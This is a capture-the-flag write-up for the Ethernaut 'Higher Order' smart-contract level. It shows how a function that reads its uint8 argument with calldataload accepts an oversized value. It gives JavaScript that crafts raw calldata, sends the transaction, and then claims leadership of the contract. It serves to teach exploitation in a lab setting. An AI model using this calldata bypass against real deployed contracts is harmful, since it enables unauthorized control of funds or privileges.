Writeups/Ethernaut/Higher Order
HardEthernaut · Ethernaut2024

Higher Order

calldataload Bypasses uint8 Bounds — Arbitrary Treasury Value

`registerTreasury(uint8)` stores its argument using `calldataload(4)` directly into storage, ignoring the `uint8` type constraint. Sending a value greater than 255 in the calldata sets `treasury` to an arbitrarily large number, satisfying the `commander` condition in `claimLeadership()`.

SolidityABIcalldataloadType Boundsuint8 Overflow

00Overview

`registerTreasury(uint8)` stores its argument using `calldataload(4)` directly into storage, ignoring the `uint8` type constraint. Sending a value greater than 255 in the calldata sets `treasury` to an arbitrarily large number, satisfying the `commander` condition in `claimLeadership()`.

01Craft calldata with an oversized uint8

javascript
const calldata = '0x'
  + '211c85ab'  // registerTreasury(uint8) selector
  + 'ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff' // value >> 255

02Send raw transaction

javascript
await ethereum.request({
  method: 'eth_sendTransaction',
  params: [{ from: player, to: instance, data: calldata }]
})

03Claim leadership

javascript
await contract.claimLeadership()

04Level Completed

Higher Order — completion screenshot 1